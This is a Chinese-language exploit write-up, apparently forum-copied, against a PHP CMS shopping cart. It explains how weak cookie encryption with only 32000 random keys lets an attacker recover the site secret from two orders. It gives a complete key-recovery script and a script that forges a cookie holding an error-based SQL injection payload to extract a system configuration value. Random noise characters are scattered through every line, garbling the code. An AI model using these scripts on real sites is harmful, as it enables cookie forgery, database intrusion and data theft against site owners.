www.xxx.com/plus/search.php?keyword=" [4 D7 R3 i& A+ _7 L ~) f
在 include/shopcar.class.php中) z: L' N: t2 S- j4 y, w
先看一下这个shopcar类是如何生成cookie的" I7 \7 j3 i+ y( Z% Z4 n
239 function saveCookie($key,$value)
( `# d. `/ T/ ?240 {( Z5 P. o' j: D# E2 ?+ p9 n4 I) V! P
241 if(is_array($value))7 f1 D3 j1 \$ J5 z* \6 G
242 {7 u! L, F1 L! R, t7 O: }0 O* A, P
243 $value = $this->enCrypt($this->enCode($value));
" @# j8 H$ D( S0 z7 z244 }
* f5 J3 N# J: b- T2 n245 else. \5 p$ a3 K& |/ S7 ?; Y
246 {0 p8 K* E3 j- W+ F V# E
247 $value = $this->enCrypt($value);. T [9 P) J; v) V0 k9 B7 h8 F
248 }
) ]2 n; p; b2 @& [. Y249 setcookie($key,$value,time()+36000,’/');
: t$ b4 O& ?0 X, R0 r! r) c# P' P250 }& ~+ P7 n8 Q$ a
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数3 @) m4 s9 L' F! s
186 function enCrypt($txt)
: b0 p& v6 \4 W6 C: T- s187 {
0 I' \; f! @/ Q5 W2 F188 srand((double)microtime() * 1000000);: v, I6 ?6 |: e3 U, V
189 $encrypt_key = md5(rand(0, 32000));
' q% S7 S6 ?/ q3 |2 a/ P190 $ctr = 0;
# `% W5 P& Q" `- w7 {/ L3 U% Y. H- L: Y191 $tmp = ”;" s0 K' \3 Q% q$ p! Q: F1 [# d
192 for($i = 0; $i < strlen($txt); $i++)8 a8 b8 V7 L3 o( r! g" i9 R
193 {
$ h) b9 v4 z' `# N5 k' h" ^194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;) X& Z% L* M; d5 g
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);: T" c4 L& q0 U1 V% U/ U
196 }
9 n; e. _, Z) n$ K# J% L9 o0 P197 return base64_encode($this->setKey($tmp));( l# E* _2 e% D4 V* X* x! |
198 }
# R$ L* r3 J4 j213 function setKey($txt)
9 d: B/ D# P% u9 C6 Q8 j214 {$ V9 y/ g! S( f) ]
215 global $cfg_cookie_encode;0 ~: k/ M6 |6 Y* `0 z2 B3 c; U
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));' o* [/ } P* L/ d( D5 @% O) x x& u0 f
217 $ctr = 0;- P) h* P7 K6 T
218 $tmp = ”;4 \' {, G# [2 w }* @+ ]3 Y7 N! x
219 for($i = 0; $i < strlen($txt); $i++)
! I d4 a% P' m: w7 e220 {
) Z& v X& q R; [: w221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
* l$ O+ ], U" b0 K0 l) J" F. x222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
4 E/ t7 r$ I* D# R: W- E223 }0 `' e) z5 t# _% ]$ D5 \
224 return $tmp;
2 N: i( N d: M1 y" \225 }
2 P9 e* y. ?2 g9 |" ~enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
' z/ m2 q0 @4 i; ~3 @0 j然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。, G6 A* b" Z, C1 _* [
具体代码如下:
' E% `3 Q$ b O# \<?php
9 c3 U p G- m9 f$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
D# k. o4 D& O$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
" I/ M& L2 a I5 P9 |! u8 B0 k$ R$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
; f* [( ]* J( ^5 X Bfunction reStrCode($code,$string)
' O; N5 U( ~ {0 J1 {{9 @0 k$ }8 O8 Z! T3 }+ Z* ?+ Z
$code = base64_decode($code);, P7 y l2 A, M; G) j9 V% J& [
$key = “”;
. a1 c" [6 e" y: M2 `& e% zfor($i=0 ; $i<32 ; $i++)
4 s/ a2 M1 F _* g$ w2 O{' s) |8 W% ^+ u! e2 _# T! p+ o
$key .= $string[$i] ^ $code[$i];
) M- G5 u c& c6 H2 H}5 H$ X4 e1 M* H" A- i3 v4 O7 J A
return $key;
* L, }8 _5 ]+ ?' o1 l* t" ]} l1 {! }! g! k- v
function getKeys($cookie,$plantxt); ~8 I; R+ h# O6 r' v# q
{
6 I7 E& t5 n) Z8 p$tmp = $cookie;
/ a c) i9 R1 ]0 v7 I- K! L/ b$results = array();6 T. Q9 d1 v. w4 F5 A: h6 ^
for($j=0 ; $j < 32000; $j++)
- L, Z" I0 m& m$ f{
) F/ O; V- I# k. M
3 q) D# @% W+ s! T4 x$txt = $plantxt;
* f- a8 p7 P4 V2 R$ctr = 0;
9 y2 |# E. U* g4 B$tmp = ”;8 b/ K+ M; R- T8 o. ?4 d
$encrypt_key = md5($j);
1 ^7 e% k8 f1 n3 U3 ^for($i =0; $i < strlen($txt); $i ++)
: L5 _3 l8 v- d' U6 `; N{
$ A$ g8 _1 L/ E( Q! ^$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; d7 p$ G+ c/ E, @+ K
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);3 S. x# y1 V5 g9 p
}* G* Q, R# M. I( C! z
$string = $tmp;
4 q7 q& f/ `7 K5 d: |8 K$code = $cookie;
# V. T$ r# O( e- u$result = reStrCode($code,$string);/ V0 q0 w s7 T9 ?( V. }
if(eregi(‘^[a-z0-9]+$’,$result))
6 i! r0 C7 x9 ^ s& x4 y6 m{
% t2 Z, m/ H5 lecho $result.”\n”;9 G m" X. E# L7 m7 I; i
$results[] = $result;
: V4 o6 V1 `; L$ O* d}
7 G+ J( s6 `- M* X- b}" Q" J; O6 E. o: O) w* G0 w9 k: x
return $results;6 C3 Y- Z! }; U' p) V0 c
}9 Q0 v$ T2 _9 \: @) y& d
$results1 = getKeys($cookie1,$plantxt);" [. Q, E9 o' U5 T% T0 F. q' [: Z# Z8 f
$results2 = getKeys($cookie2,$plantxt);
# |; ^) W+ }( m0 r0 E3 eprint “\n——————–real key————————–\n”;2 Q0 b" |* Y! e' k
foreach($results1 as $test1)( x0 t1 n( [+ ]1 c
{, E, T1 D! P2 T. o# P+ a/ `; \
foreach($results2 as $test2)
. d$ i0 R2 m- |3 O- I/ u{* g4 l' Z# X b7 O9 r4 t
if($test1 == $test2)1 G+ {8 R7 M1 p% R; C
{
7 l, |' {; e8 n2 M8 |5 W6 \; ?echo $test1.”\n”;4 x, _: v. h0 w% C5 F$ F+ q7 h
}
3 W& b+ r7 e2 \0 R j}
* a! T& d/ T' L+ u& ]}! h# M; R0 z/ b$ o7 j$ H& f9 L# E9 U2 w
?>
- E" }6 N& q- Rcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,2 l$ G5 W/ U) c! {* ~: C$ W/ {9 u9 T3 D
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1) H* X* M' k2 X9 ~% D
然后推算出md5(strtolower($cfg_cookie_encode))
2 c; n( c# j3 Q: }! p得到这个key之后,我们就可以构造任意购物车的cookie
J1 Z9 k4 e9 V/ l% |$ U接着看0 y5 x# I' x; S0 _4 l! u. O
20 class MemberShops& k- r( ]; z4 A2 ^( m( a
21 {
. g' e& X" n. i9 k1 u$ k22 var $OrdersId;
- B: u" m% {2 S2 ~; t& Q$ [23 var $productsId;, l" ^5 V; ~0 s
243 f; K. X, i5 q1 P5 w. M! C5 K
25 function __construct()
! w7 P9 n. i: c! ^' |# e26 {* O0 A! X5 y# |% Z8 r- h
27 $this->OrdersId = $this->getCookie(“OrdersId”);
7 C; p* h# \ U8 g% X0 k28 if(empty($this->OrdersId))
7 _- |9 {7 d$ l. [; p- H, k% M' x8 A29 {( T7 P7 p$ l9 X8 s
30 $this->OrdersId = $this->MakeOrders();
: |1 T& n0 k! f31 }; b, f, F# m' s8 v
32 }
: ]$ M; q& S/ \# |- [发现OrderId是从cookie里面获取的
9 t) _% Y3 ]; k* @( f, \) x% x然后
2 M" W; L6 J) a& v4 _% u/plus/carbuyaction.php中的$ _" i/ A% M4 \+ ]
29 $cart = new MemberShops();
; F: A* o3 B) N( a8 z) F39 $OrdersId = $cart->OrdersId; //本次记录的订单号5 a8 M, H% D3 v8 g, U* ]8 Y! [/ Z
……
% U+ ]$ B1 C1 b s% g173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
( D2 A. m* F( i# y接着我们就可以注入了
& n! N* ]3 c. K) i通过利用下面代码生成cookie:; _2 w+ Z6 W7 F& A* D- c
<?php( `, S8 {' l5 {7 Q8 e' O) r; n
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
+ k- Z ~, B6 }, u$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
4 ]/ M4 S8 f$ p8 c+ H3 mfunction setKey($txt)
6 `- T; L" _) j5 v0 I8 d{8 h0 n& k, v! R1 a: ]' y2 H4 C
global $encrypt_key;
' O$ A# K0 e8 ~4 c- W7 O$ctr = 0;; Y0 K& W$ {3 e5 d$ W
$tmp = ”;* C0 ]4 u/ Q9 W/ T2 S
for($i = 0; $i < strlen($txt); $i++)
8 j: Z( C. f! w$ N1 S3 R{
4 [6 G8 i8 H+ l! I$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
1 B6 j) m1 X$ S; S$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];) t) h7 W6 S# h$ q* G/ c2 z
}
& ^! r7 L& N1 ]) W# Z9 Qreturn $tmp;
& A* X1 J: N% {* X}
4 E1 `% `* m2 n0 C: K4 afunction enCrypt($txt)2 {4 b% }1 Z# g. Q( I3 ?
{
# Z, W1 A- E9 A1 E7 ^srand((double)microtime() * 1000000);. i* C- W1 O* b: M, q7 }6 M+ Z
$encrypt_key = md5(rand(0, 32000));: j! [% C, L( k1 n( F3 @
$ctr = 0;
4 F4 b- I U! b. b. g$tmp = ”;
& a" T- c1 ^4 n# v Ofor($i = 0; $i < strlen($txt); $i++)
F6 j) T- [$ J/ e. E{
" x J6 g# G0 m8 W( V! f% o$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
* |# a7 h1 k: |0 G, H. I' ]6 q$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);4 H0 [$ `2 N3 u4 Y6 S
}; S, E% s# B& ]; @
return base64_encode(setKey($tmp));# Y* Y' Q3 N: `- z" T5 f( r
}7 m* ?( h( p: I5 n2 ?8 o1 K
for($dest =0;$dest = enCrypt($txt);)
$ ~, Q3 V0 y& h7 b{6 ~- \; L U9 a- c }' L
if(!strpos($dest,’+'))1 c; G4 j5 s2 ?- P3 i
{
# o; w1 }. `- U# M `" wbreak;
! l- ^3 } i" E. D( ^2 F$ Q8 M}
( l+ L2 c) z0 V2 I# \}
! \+ V. j! G& Y7 Recho $dest.”\n”;
5 `. d$ m0 h7 p# T, P6 U' [0 H?>/ R+ K. m5 |5 z3 ]6 W4 J
7 Y, h6 L: ~* X
|